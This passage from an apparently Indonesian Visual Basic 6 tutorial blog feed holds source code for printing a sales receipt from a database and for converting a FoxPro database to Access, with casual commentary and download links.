Or tbayar.Text = "" Then&lt;br /&gt;     X = MsgBox("Bayar dulu... !!", vbOKOnly)&lt;br /&gt;     tbayar.SetFocus&lt;br /&gt;     Exit Sub&lt;br /&gt;  End If&lt;br /&gt;  If HJual.Recordset.BOF = False And HJual.Recordset.EOF = False Then HJual.Recordset.MoveLast&lt;br /&gt;  HJual.Recordset.AddNew&lt;br /&gt;  HJual.Recordset!No_nota = TNoBon.Text&lt;br /&gt;  HJual.Recordset!Tgl_jual = TTglBon.Text&lt;br /&gt;  HJual.Recordset!No_pesan = DBCombo2.Text&lt;br /&gt;  HJual.Recordset!bayar = tbayar.Text&lt;br /&gt;  HJual.Recordset!disc = tdisc.Text&lt;br /&gt;  HJual.Recordset!total = tbali.Caption&lt;br /&gt;  HJual.Recordset.Update&lt;br /&gt;  HJual.Refresh&lt;br /&gt;  temp.Recordset.MoveFirst&lt;br /&gt;  Do&lt;br /&gt;    If Djual.Recordset.BOF = False And Djual.Recordset.EOF = False Then Djual.Recordset.MoveLast&lt;br /&gt;    Djual.Recordset.AddNew&lt;br /&gt;    Djual.Recordset!No_nota = TNoBon.Text&lt;br /&gt;    Djual.Recordset!kd_brg = temp.Recordset!kd_brg&lt;br /&gt;    Djual.Recordset!jumlah = temp.Recordset!jumlah&lt;br /&gt;    Djual.Recordset.Update&lt;br /&gt;    Djual.Refresh&lt;br /&gt;    Data2.Recordset.AddNew&lt;br /&gt;    Data2.Recordset!No_nota = TNoBon.Text&lt;br /&gt;    Data2.Recordset!kd_brg = temp.Recordset!kd_brg&lt;br /&gt;    Data2.Recordset!grup = temp.Recordset!grup&lt;br /&gt;    Data2.Recordset!nama = temp.Recordset!nama&lt;br /&gt;    Data2.Recordset!jumlah = temp.Recordset!jumlah&lt;br /&gt;    Data2.Recordset!disc = tdisc.Text&lt;br /&gt;    Data2.Recordset!total = temp.Recordset!total&lt;br /&gt;    Data2.Recordset!bayar = tbayar.Text&lt;br /&gt;    Data2.Recordset.Update&lt;br /&gt;    Data2.Refresh&lt;br /&gt;    temp.Recordset.MoveNext&lt;br /&gt;  Loop Until temp.Recordset.EOF&lt;br /&gt;  X = MsgBox("Data sudah tersimpan...,Data mau dicetak ?", vbYesNo, "INFORMASI")&lt;br /&gt;  If X = vbYes Then cetak&lt;br /&gt;  kosong&lt;br /&gt;  DBCombo2.SetFocus&lt;br /&gt;  hapus&lt;br /&gt;  End Sub&lt;br /&gt;  Private Sub kosong()&lt;br /&gt; 'On Error Resume Next&lt;br /&gt;  hapus&lt;br /&gt;  CAuto_Click&lt;br /&gt;  DBCombo2.Text = ""&lt;br /&gt;  Tcust.Text = ""&lt;br /&gt;  tnama.Text = ""&lt;br /&gt;  Talamat.Text = ""&lt;br /&gt;  Tkota.Text = ""&lt;br /&gt;  Ttelp.Text = ""&lt;br /&gt;  tdisc.Text = ""&lt;br /&gt;  ttotal.Caption = ""&lt;br /&gt;  tbayar.Text = ""&lt;br /&gt;  tbali.Caption = ""&lt;br /&gt;  End Sub&lt;br /&gt; &lt;br /&gt;Private Sub cetak()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim MGrs As String&lt;br /&gt;     MGrs = String$(80, "-")&lt;br /&gt;     Printer.CurrentX = 0&lt;br /&gt;     Printer.CurrentY = 0&lt;br /&gt;     Printer.Font = "Courier New"&lt;br /&gt;     Printer.FontSize = 10&lt;br /&gt;     Printer.FontBold = True&lt;br /&gt;     Printer.Print Tab(27); ""&lt;br /&gt;     Printer.Print Tab(27); ""&lt;br /&gt;     Printer.Print Tab(29); "       www.VBthok.co.cc      "&lt;br /&gt;     Printer.FontBold = False&lt;br /&gt;     Printer.Print Tab(25); " JL. Bolak Balik Gang Buntu No .25 "&lt;br /&gt;     Printer.Print Tab(18); " Telp.(0341)-xxxxxxx,xxxxx Email: tome.mine@gmail.com"&lt;br /&gt;     Printer.Print Tab(27); ""&lt;br /&gt;     Printer.Print Tab(29); "  N O T A   P E N J U A L A N"&lt;br /&gt;     Printer.Print&lt;br /&gt;     Printer.Print Tab(5); "No.Nota  :";&lt;br /&gt;     Printer.Print Tab(16); TNoBon.Text;&lt;br /&gt;     Printer.Print Tab(58); "Tanggal :";&lt;br /&gt;     Printer.Print Tab(63); TTglBon.Text&lt;br /&gt;     Printer.Print Tab(3); MGrs&lt;br /&gt;     Printer.Print Tab(5); "No_pesan :";&lt;br /&gt;     Printer.Print Tab(16); DBCombo2.Text;&lt;br /&gt;     Printer.Print Tab(5); "Kd_cust  :";&lt;br /&gt;     Printer.Print Tab(16); Tcust.Text&lt;br /&gt;         Data1.Recordset.Index = "Kc"&lt;br /&gt;         Data1.Recordset.Seek "=", Tcust.Text&lt;br /&gt;         If Not Data1.Recordset.NoMatch Then&lt;br /&gt;            Printer.Print Tab(5); "Nama     : ";&lt;br /&gt;            Printer.Print Tab(16); Data1.Recordset!nama&lt;br /&gt;            Printer.Print Tab(5); "Alamat   : ";&lt;br /&gt;            Printer.Print Tab(16); Data1.Recordset!Alamat&lt;br /&gt;            Printer.Print Tab(5); "Kota     : ";&lt;br /&gt;            Printer.Print Tab(16); Data1.Recordset!Kota&lt;br /&gt;            Printer.Print Tab(5); "Telepon  : ";&lt;br /&gt;            Printer.Print Tab(16); Data1.Recordset!telp&lt;br /&gt;          End If&lt;br /&gt;    Printer.Print Tab(3); MGrs&lt;br /&gt;    Printer.Print Tab(5); "KODE";&lt;br /&gt;    Printer.Print Tab(15); "Grup";&lt;br /&gt;    Printer.Print Tab(35); "Nama";&lt;br /&gt;    Printer.Print Tab(57); "Jumlah";&lt;br /&gt;    Printer.Print Tab(75); "Total"&lt;br /&gt;    Printer.Print Tab(3); MGrs&lt;br /&gt;  temp.Recordset.MoveFirst&lt;br /&gt;  Do&lt;br /&gt;    Printer.Print Tab(5); temp.Recordset!kd_brg;&lt;br /&gt;    Printer.Print Tab(15); temp.Recordset!grup;&lt;br /&gt;    Printer.Print Tab(35); temp.Recordset!nama;&lt;br /&gt;    Printer.Print Tab(58); RKanan(temp.Recordset!jumlah, "###0");&lt;br /&gt;    Printer.Print Tab(71); RKanan(temp.Recordset!total, "##,###,###")&lt;br /&gt;    temp.Recordset.MoveNext&lt;br /&gt;  Loop Until temp.Recordset.EOF&lt;br /&gt;  Printer.Print Tab(4); MGrs&lt;br /&gt;  Printer.Print Tab(55); "SUB TOTAL : ";&lt;br /&gt;  Printer.Print Tab(67); "Rp. " &amp;amp; RKanan(ttotal.Caption, "##,###,###") &amp;amp; ",-";&lt;br /&gt;  Printer.Print Tab(55); "Disc      : ";&lt;br /&gt;  Printer.Print Tab(67); tdisc.Text, "%";&lt;br /&gt;  Printer.Print Tab(55); "Bayar     : ";&lt;br /&gt;  Printer.Print Tab(67); "Rp. " &amp;amp; RKanan(tbayar.Text, "##,###,###") &amp;amp; ",-";&lt;br /&gt;  Printer.Print Tab(55); "TOTAL     : ";&lt;br /&gt;  Printer.Print Tab(67); "Rp. " &amp;amp; RKanan(tbali.Caption, "##,###,###") &amp;amp; ",-";&lt;br /&gt;  Printer.Print Tab(12); "Hormat Kami,"&lt;br /&gt;  Printer.Print Tab(5); ""&lt;br /&gt;  Printer.Print Tab(5); ""&lt;br /&gt;  Printer.Print Tab(5); ""&lt;br /&gt;  Printer.Print Tab(5); "(    www.VBthok.co.cc    )"&lt;br /&gt;  Printer.EndDoc&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function RKanan(NData, CFormat) As String&lt;br /&gt;On Error Resume Next&lt;br /&gt;    RKanan = Format(NData, CFormat)&lt;br /&gt;    RKanan = Space(Len(CFormat) - Len(RKanan)) + RKanan&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub Label11_Click()&lt;br /&gt;temp.Refresh&lt;br /&gt;hapus&lt;br /&gt;kosong&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label14_Click()&lt;br /&gt;Form9.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub reset_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;DBGrid2.Visible = False&lt;br /&gt;lab.Visible = False&lt;br /&gt;lab.Visible = False&lt;br /&gt;temp.Refresh&lt;br /&gt;hapus&lt;br /&gt;kosong&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub tbayar_Change()&lt;br /&gt;lab.Visible = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub tbayar_KeyPress(KeyAscii As Integer)&lt;br /&gt;On Error Resume Next&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;Form9.Show&lt;br /&gt;prev&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub tbayar_KeyUp(KeyCode As Integer, Shift As Integer)&lt;br /&gt;On Error Resume Next&lt;br /&gt;Select Case KeyCode&lt;br /&gt;Case Is = vbKeyEscape&lt;br /&gt;Form9.Show&lt;br /&gt;prev&lt;br /&gt;End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Tcust_Change()&lt;br /&gt;'On Error Resume Next&lt;br /&gt;Data1.Recordset.Index = "kc"&lt;br /&gt;Data1.Recordset.Seek "=", Tcust.Text&lt;br /&gt;If Not Data1.Recordset.NoMatch Then&lt;br /&gt;tnama.Text = Data1.Recordset!nama&lt;br /&gt;Talamat.Text = Data1.Recordset!Alamat&lt;br /&gt;Tkota.Text = Data1.Recordset!Kota&lt;br /&gt;Ttelp.Text = Data1.Recordset!telp&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub tdisc_KeyPress(KeyAscii As Integer)&lt;br /&gt;On Error Resume Next&lt;br /&gt;DBGrid2.Visible = False&lt;br /&gt;Dim disc As Single&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;  disc = ttotal.Caption * tdisc.Text / 100&lt;br /&gt;  tbali.Caption = Format(ttotal.Caption - disc, "#,#,0")&lt;br /&gt;  tbayar.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub prev()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim MGrs As String&lt;br /&gt;     MGrs = String$(80, "-")&lt;br /&gt;     Form9.CurrentX = 0&lt;br /&gt;     Form9.CurrentY = 0&lt;br /&gt;     Form9.Font = "Courier New"&lt;br /&gt;     Form9.FontSize = 10&lt;br /&gt;     Form9.FontBold = True&lt;br /&gt;     Form9.Print Tab(27); ""&lt;br /&gt;     Form9.Print Tab(27); ""&lt;br /&gt;     Form9.Print Tab(29); "       www.VBthok.co.cc      "&lt;br /&gt;     Form9.FontBold = False&lt;br /&gt;     Form9.Print Tab(25); " JL. Bolak Balik Gang Buntu No .25 "&lt;br /&gt;     Form9.Print Tab(18); " Telp.(0341)-xxxxxxx,xxxxx Email: tome.mine@gmail.com"&lt;br /&gt;     Form9.Print Tab(27); ""&lt;br /&gt;     Form9.Print Tab(29); "  N O T A   P E N J U A L A N"&lt;br /&gt;     Form9.Print&lt;br /&gt;     Form9.Print Tab(5); "No.Nota  :";&lt;br /&gt;     Form9.Print Tab(16); TNoBon.Text;&lt;br /&gt;     Form9.Print Tab(58); "Tanggal :";&lt;br /&gt;     Form9.Print Tab(68); TTglBon.Text&lt;br /&gt;     Form9.Print Tab(3); MGrs&lt;br /&gt;     Form9.Print Tab(5); "No_pesan :";&lt;br /&gt;     Form9.Print Tab(16); DBCombo2.Text;&lt;br /&gt;     Form9.Print Tab(5); "Kd_cust  :";&lt;br /&gt;     Form9.Print Tab(16); Tcust.Text&lt;br /&gt;         Data1.Recordset.Index = "Kc"&lt;br /&gt;         Data1.Recordset.Seek "=", Tcust.Text&lt;br /&gt;         If Not Data1.Recordset.NoMatch Then&lt;br /&gt;            Form9.Print Tab(5); "Nama     : ";&lt;br /&gt;            Form9.Print Tab(16); Data1.Recordset!nama&lt;br /&gt;            Form9.Print Tab(5); "Alamat   : ";&lt;br /&gt;            Form9.Print Tab(16); Data1.Recordset!Alamat&lt;br /&gt;            Form9.Print Tab(5); "Kota     : ";&lt;br /&gt;            Form9.Print Tab(16); Data1.Recordset!Kota&lt;br /&gt;            Form9.Print Tab(5); "Telepon  : ";&lt;br /&gt;            Form9.Print Tab(16); Data1.Recordset!telp&lt;br /&gt;          End If&lt;br /&gt;    Form9.Print Tab(3); MGrs&lt;br /&gt;    Form9.Print Tab(5); "KODE";&lt;br /&gt;    Form9.Print Tab(15); "Grup";&lt;br /&gt;    Form9.Print Tab(35); "Nama";&lt;br /&gt;    Form9.Print Tab(57); "Jumlah";&lt;br /&gt;    Form9.Print Tab(75); "Total"&lt;br /&gt;    Form9.Print Tab(3); MGrs&lt;br /&gt;  temp.Recordset.MoveFirst&lt;br /&gt;  Do&lt;br /&gt;    Form9.Print Tab(5); temp.Recordset!kd_brg;&lt;br /&gt;    Form9.Print Tab(15); temp.Recordset!grup;&lt;br /&gt;    Form9.Print Tab(35); temp.Recordset!nama;&lt;br /&gt;    Form9.Print Tab(58); RKanan(temp.Recordset!jumlah, "###0");&lt;br /&gt;    Form9.Print Tab(71); RKanan(temp.Recordset!total, "##,###,###")&lt;br /&gt;    temp.Recordset.MoveNext&lt;br /&gt;  Loop Until temp.Recordset.EOF&lt;br /&gt;  Form9.Print Tab(4); MGrs&lt;br /&gt;  Form9.Print Tab(55); "SUB TOTAL : ";&lt;br /&gt;  Form9.Print Tab(67); "Rp. " &amp;amp; RKanan(ttotal.Caption, "##,###,###") &amp;amp; ",-";&lt;br /&gt;  Form9.Print Tab(55); "Disc      : ";&lt;br /&gt;  Form9.Print Tab(67); tdisc.Text, "%";&lt;br /&gt;  Form9.Print Tab(55); "Bayar     : ";&lt;br /&gt;  Form9.Print Tab(67); "Rp. " &amp;amp; RKanan(tbayar.Text, "##,###,###") &amp;amp; ",-";&lt;br /&gt;  Form9.Print Tab(55); "TOTAL     : ";&lt;br /&gt;  Form9.Print Tab(67); "Rp. " &amp;amp; RKanan(tbali.Caption, "##,###,###") &amp;amp; ",-";&lt;br /&gt;  Form9.Print Tab(12); "Hormat Kami,"&lt;br /&gt;  Form9.Print Tab(5); ""&lt;br /&gt;  Form9.Print Tab(5); ""&lt;br /&gt;  Form9.Print Tab(5); ""&lt;br /&gt;  Form9.Print Tab(5); "(    www.VBthok.co.cc    )"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;    lab.ForeColor = QBColor(Rnd * 15)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'untuk form preview&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)&lt;br /&gt;On Error Resume Next&lt;br /&gt;Select Case KeyCode&lt;br /&gt;Case Is = vbKeyEscape&lt;br /&gt;Unload Me&lt;br /&gt;End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Me.Left = (Screen.Width - Me.Width) / 2&lt;br /&gt;Me.Top = (Screen.Height - Me.Height) / 6&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Label1.ForeColor = QBColor(Rnd * 15)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Oke deeh cukup segitu aja script kodenya, mudah khann?? hehehe kalo kalian msh bingung neh silakan donlot source codenya &lt;a href="http://www.ziddu.com/download/3175552/nota.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-4077689056580543588?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/4077689056580543588/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=4077689056580543588' title='4 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4077689056580543588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4077689056580543588'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/01/membuat-nota-print-out-penjualan.html' title='Membuat Nota Print Out Penjualan'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eGS0YABgxQo/SWxN66ZQu8I/AAAAAAAAAF4/CN2_hKPlNNk/s72-c/nota2.bmp' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-2763925530754984175</id><published>2009-01-02T10:37:00.004+07:00</published><updated>2009-01-02T13:27:20.948+07:00</updated><title type='text'>Program konversi database foxpro ke database acces</title><content type='html'>Mungkin ada diantara vbthok mania yang sekarang masih menggunakan program foxpro dan ingin berpindah ke program VB tapi bingung dengan database yang ada di foxpro? ato ada yang ingin membuat program konversi tapi masih bingung buatnya.Tenaang...penulis akan mencoba mengupasnya dalam artikel perdana menyambut tahun baru 2009...hehehe...out of topic&lt;br /&gt;sebelumnya aktifkan dulu komponen pereference:&lt;br /&gt;microsoft DAO 3.51 object librabry&lt;br /&gt;microsoft ActiveX Data Object 2.5 librabry&lt;br /&gt;microsoft outlook 10.0 object library&lt;br /&gt;&lt;br /&gt;berikut tampilan programnya&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SV2w-M7l6WI/AAAAAAAAAFY/O9Dtyuf3f-0/s1600-h/convert.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 221px; height: 400px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SV2w-M7l6WI/AAAAAAAAAFY/O9Dtyuf3f-0/s400/convert.bmp" alt="" id="BLOGGER_PHOTO_ID_5286576120272382306" border="0" /&gt;&lt;/a&gt;nah ini script kodenya&lt;br /&gt;'form 1&lt;br /&gt;Const devName = "www.vbthok.co.cc"&lt;br /&gt;Const myMail = "tome.mine@gmail.com"&lt;br /&gt;&lt;br /&gt;'-----------Variables for reading &amp;amp; retrieving foxpro database&lt;br /&gt;Dim myCon As Database&lt;br /&gt;Dim myRec As Recordset&lt;br /&gt;'--------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;'-----------Variables for reading &amp;amp; retrieving Access database&lt;br /&gt;Dim newCon As New ADODB.Connection&lt;br /&gt;Dim newRec As New ADODB.Recordset&lt;br /&gt;'--------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Dim xDatanum As Integer&lt;br /&gt;Dim foxFile, mdbFile, xSQL As String&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;'-----------Start Converting&lt;br /&gt;xSQL = ""&lt;br /&gt;On Error Resume Next&lt;br /&gt;&lt;br /&gt;If File1.FileName = "" Or UCase(Right$(File1.FileName, 3)) &lt;&gt; "DBC" Then&lt;br /&gt;    MsgBox "Invalid Foxpro Database Selected" &amp;amp; vbCrLf &amp;amp; "Please Select a valid Foxpro Database (*.dbc)", vbCritical, devName&lt;br /&gt;    Exit Sub&lt;br /&gt;Else&lt;br /&gt;'---Stores the file name with the whole path&lt;br /&gt;stroke1 = IIf(Len(Dir1.Path) = 3, "", "\")&lt;br /&gt;foxFile = Trim(UCase(Left$(Drive1.Drive, 1)) &amp;amp; ":\" &amp;amp; Mid(Dir1.Path, 4, Len(Dir1.Path)) &amp;amp; stroke1 &amp;amp; File1.FileName)&lt;br /&gt;MsgBox foxFile&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If Text1.Text = "" Then&lt;br /&gt;    MsgBox "Enter a Valid Name", vbCritical, devName&lt;br /&gt;    Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If Len(Text1.Text) &gt; 8 Then&lt;br /&gt;    MsgBox "File Name cannot be more then 8 characters", vbInformation, devName&lt;br /&gt;    Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;newFile = Text1.Text&lt;br /&gt;&lt;br /&gt;'------Cheking if the File name contains any Junk characters----&lt;br /&gt;For i = 1 To Len(newFile)&lt;br /&gt;   &lt;br /&gt;    eachChar = Mid$(newFile, 1, i)&lt;br /&gt;    eachChar = Right(eachChar, 1)&lt;br /&gt;&lt;br /&gt;    If Asc(eachChar) &lt;&gt; 122 Then&lt;br /&gt;        MsgBox "No Characters other then alphabets are allowed", vbCritical, devName&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;   &lt;br /&gt;    If Asc(eachChar) &gt; 90 And Asc(eachChar) &lt; 97 Then&lt;br /&gt;        MsgBox "No Characters other then alphabets are allowed", vbCritical, devName&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;If Option1.Value = False And Option2.Value = False Then&lt;br /&gt;MsgBox "Select any one option for type of convertion", vbCritical, devName&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;stroke2 = IIf(Len(Dir2.Path) = 3, "", "\")&lt;br /&gt;mdbFile = UCase(Left$(Drive2.Drive, 1)) &amp;amp; ":\" &amp;amp; Mid(Dir2.Path, 4, Len(Dir2.Path)) &amp;amp; stroke2 &amp;amp; Text1.Text&lt;br /&gt;confirm = MsgBox("Confirm Convertion " &amp;amp; foxFile &amp;amp; " to " &amp;amp; mdbFile &amp;amp; ".mdb", vbYesNo, devName)&lt;br /&gt;&lt;br /&gt;If confirm = 7 Then Exit Sub&lt;br /&gt;&lt;br /&gt;Form1.MousePointer = 11&lt;br /&gt;&lt;br /&gt;'--- "myCon" Provides link 2 Foxpro Database&lt;br /&gt;Set myCon = OpenDatabase(foxFile, False, False, "Foxpro DBC")&lt;br /&gt;&lt;br /&gt;'--Create MDB Database&lt;br /&gt;Set newCon = DBEngine.Workspaces(0).CreateDatabase(mdbFile, dbLangGeneral, dbVersion30)&lt;br /&gt;   &lt;br /&gt;'--Opening the Database&lt;br /&gt;newCon.Open "DRIVER={Microsoft Access Driver (*.mdb)};dbq=" &amp;amp; mdbFile&lt;br /&gt;&lt;br /&gt;'-----------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;'--- "TableDefs.counts" the number of tables present in the Database&lt;br /&gt;&lt;br /&gt;For j = 1 To myCon.TableDefs.Count&lt;br /&gt;Debug.Print myCon.TableDefs(j - 1).Name&lt;br /&gt;'Set myRec = myCon.Execute("Select * from " &amp;amp; myCon.TableDefs(j - 1).Name)&lt;br /&gt;Set myRec = myCon.OpenRecordset(myCon.TableDefs(j - 1).Name)&lt;br /&gt;&lt;br /&gt;'---------------Generating SQL statement for Creating Tables-----&lt;br /&gt;Comma = " , "&lt;br /&gt;SQL = ""&lt;br /&gt;SQL = "Create Table " &amp;amp; myCon.TableDefs(j - 1).Name &amp;amp; "("&lt;br /&gt;&lt;br /&gt;For q = 1 To myRec.Fields.Count&lt;br /&gt;Debug.Print myRec.Fields(q - 1).Name&lt;br /&gt;&lt;br /&gt;xDatanum = myRec.Fields(q - 1).Type&lt;br /&gt;&lt;br /&gt;SQL = SQL &amp;amp; myRec(q - 1).Name &amp;amp; " " &amp;amp; Datatype(xDatanum)&lt;br /&gt;&lt;br /&gt;If q &lt; myRec.Fields.Count Then&lt;br /&gt;SQL = SQL &amp;amp; Comma&lt;br /&gt;Else&lt;br /&gt;SQL = SQL &amp;amp; ""&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;SQL = SQL &amp;amp; ")"&lt;br /&gt;'MsgBox SQL, vbCritical, devName&lt;br /&gt;Set newRec = newCon.Execute(SQL)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'---------------End of SQL statement for Creating Tables-----------&lt;br /&gt;&lt;br /&gt;'------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;'-------------Generating SQL statement for Inserting Values-------------------------------&lt;br /&gt;&lt;br /&gt;If Option2.Value = True Then&lt;br /&gt;Do Until myRec.EOF&lt;br /&gt;xSQL = ""&lt;br /&gt;xSQL = "Insert Into " &amp;amp; myCon.TableDefs(j - 1).Name &amp;amp; " Values ("&lt;br /&gt;  &lt;br /&gt;   For e = 1 To myRec.Fields.Count&lt;br /&gt;        xSQL = xSQL &amp;amp; "'" &amp;amp; RTrim(myRec.Fields(e - 1).Value) &amp;amp; "'"&lt;br /&gt;     &lt;br /&gt;     If e &lt; myRec.Fields.Count Then&lt;br /&gt;        xSQL = xSQL &amp;amp; Comma&lt;br /&gt;     Else&lt;br /&gt;        xSQL = xSQL &amp;amp; ""&lt;br /&gt;     End If&lt;br /&gt;   Next e&lt;br /&gt;xSQL = xSQL &amp;amp; ")"&lt;br /&gt;'MsgBox xSQL&lt;br /&gt;&lt;br /&gt;Set newRec = newCon.Execute(xSQL)&lt;br /&gt;myRec.MoveNext&lt;br /&gt;&lt;br /&gt;Loop&lt;br /&gt;'-------------End Of SQL statement for Inserting Values-------------------------------&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;'--------Closing the Database &amp;amp; Records--------------------------&lt;br /&gt;myRec.Close&lt;br /&gt;myCon.Close&lt;br /&gt;'----------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Form2.MousePointer = 11&lt;br /&gt;Form2.Show 1&lt;br /&gt;&lt;br /&gt;Me.MousePointer = 0&lt;br /&gt;&lt;br /&gt;MsgBox "Database Converted Successfully", vbInformation, devName&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;'-------EXIT-----&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;Call CreateMsg&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Dir1_Change()&lt;br /&gt;File1.Path = Dir1.Path&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Drive1_Change()&lt;br /&gt;Dir1.Path = Drive1.Drive&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Function Datatype(ByVal dataNum As Integer) As String&lt;br /&gt;&lt;br /&gt;numData = dataNum&lt;br /&gt;&lt;br /&gt;Select Case numData&lt;br /&gt;    Case 7:&lt;br /&gt;        founData = "int"&lt;br /&gt;   &lt;br /&gt;    Case 10:&lt;br /&gt;        founData = "Char(10)"&lt;br /&gt;       &lt;br /&gt;    Case Else&lt;br /&gt;        founData = "VarChar"&lt;br /&gt;End Select&lt;br /&gt;&lt;br /&gt;Datatype = founData&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub Drive2_Change()&lt;br /&gt;Dir2.Path = Drive2.Drive&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Sub CreateMsg()&lt;br /&gt;&lt;br /&gt;Dim objOutlook As New Outlook.Application&lt;br /&gt;Dim objOutlookmsg As Outlook.MailItem&lt;br /&gt;&lt;br /&gt;Set objOutlookmsg = objOutlook.CreateItem(olMailItem)&lt;br /&gt;Form1.MousePointer = 11&lt;br /&gt;With objOutlookmsg&lt;br /&gt;.To = myMail&lt;br /&gt;.Subject = "Mas tomi' Dbf-2-Mdb Utility"&lt;br /&gt;.Display 1&lt;br /&gt;End With&lt;br /&gt;Form1.MousePointer = 0&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'form 2&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;&lt;br /&gt;If PBar.Value &lt; 35 Then&lt;br /&gt;Label5.Caption = "Wait....." &amp;amp; vbCrLf &amp;amp; "Reading Foxpro Database"&lt;br /&gt;PBar.Value = PBar.Value + 1&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If PBar.Value = 35 Then&lt;br /&gt;Label5.Caption = "Wait....." &amp;amp; vbCrLf &amp;amp; "Creating Access Database"&lt;br /&gt;PBar.Value = PBar.Value + 5&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If PBar.Value &gt;= 40 And PBar &lt; 60 Then&lt;br /&gt;PBar.Value = PBar.Value + 2&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If PBar.Value &gt;= 60 And PBar.Value &lt; 100 Then&lt;br /&gt;    If Form1.Option1.Value = True Then&lt;br /&gt;        Label5.Caption = "Wait....." &amp;amp; vbCrLf &amp;amp; "Converting And Transfering Tables"&lt;br /&gt;    Else&lt;br /&gt;        Label5.Caption = "Wait....." &amp;amp; vbCrLf &amp;amp; "Transfering Tables And Records"&lt;br /&gt;    End If&lt;br /&gt;PBar.Value = PBar.Value + 0.5&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If PBar.Value = 100 Then Unload Me&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Segitu ajah script kodenya, mudah kan?? kalo yang pengen langsung jadi silakan download &lt;a 